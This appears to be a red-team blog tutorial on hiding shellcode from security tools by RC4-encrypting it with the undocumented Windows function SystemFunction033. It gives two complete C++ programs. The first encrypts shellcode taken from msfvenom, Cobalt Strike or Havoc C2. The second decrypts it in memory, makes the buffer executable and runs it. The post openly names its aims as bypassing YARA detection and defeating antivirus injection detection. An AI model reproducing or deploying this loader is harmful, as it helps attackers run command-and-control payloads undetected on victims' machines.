InMemory Shellcode Encryption and Decryption using SystemFunction033

Shellcode encoding using SystemFunction033

What is SystemFunction033

It is basically a function is Advapi32.dll which can do in RC4 encryption and decryption in memory

Read and learn about it from below links

Tribute

So in his tweet https://twitter.com/ShitSecure/status/1589276402532384768 asked what you think at night?

Here's a copy of his blog post but in C++

Shellcode Encode

First you want your shellcode to encode (what a silly requirement 😂. You can get it from msfvenom or CobaltStrike or Havoc C2

If you got in raw format you can use below command to quickly turn it into cpp usable format

xxd -i shellcode.bin > shellcode.h
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	//Hello
	//unsigned char shellcode[] = { 0x48,0x65,0x6c,0x6c,0x6f };
	//Encrypted RC4
	//unsigned char shellcode[] = { 0x41, 0xd6, 0xaa, 0x12, 0x8e };
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not 
	memset(shellcode, 0, shellcode_size);


	//Setting key values
	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	//Setting shellcode in the struct for Systemfunction033
	_data.Buffer = buffer;
	_data.Length = shellcode_size;


	//Calling Systemfunction033
	SystemFunction033(&_data, &key);

	//Writing encrypted shellcode to bin file
	FILE* fp = fopen("enc_shellcode.bin", "wb");

	// Write the contents of the pvoid pointer to the file. They contents should be encrypted
	fwrite(buffer, shellcode_size, 1, fp);

	// Close the file
	fclose(fp);
	
	//instead if you want to print out the mem contents 
	/*
	for (unsigned int i = 0; i < _data.Length; i++)
	{
		cout << std::hex << (unsigned int)*((unsigned char*)buffer + i) << " ";
	}
	*/

	return 0;
}

Check the file enc_shellcode.bin, you should have an encrypted shellcode

Shellcode Injection with Systemfunction033

Hoping you got the enc_shellcode.bin file now its time to get it decrypted in memory again

But first lets get your encrypted shellcode in cpp

xxd -i enc_shellcode.bin > enc_shellcode.h

Now once we have that header file lets begin simple injection in memory

#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "enc_shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not and why keep two copies in memory
	memset(shellcode, 0, shellcode_size);


	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	_data.Buffer = buffer;
	_data.Length = shellcode_size;

	SystemFunction033(&_data, &key);
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)buffer, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
	((void(*)())buffer)();
	WaitForSingleObject((HANDLE)-1, -1);


	return 0;
}

Benefits ?

Bypass YARA detection if you are using Single Byte XOR

Defeat the AV "On Injection" shellcode detection as the decryption happens after the shellcode is put in memory

You dont want to write error prone code of encoding and decoding

Credits

As always, my sensei @vysecurity

Good to know @S3cur3Th1sSh1t suffers from same disorder (weird thoughts at night) 😂

Code stolen from https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/

Last updated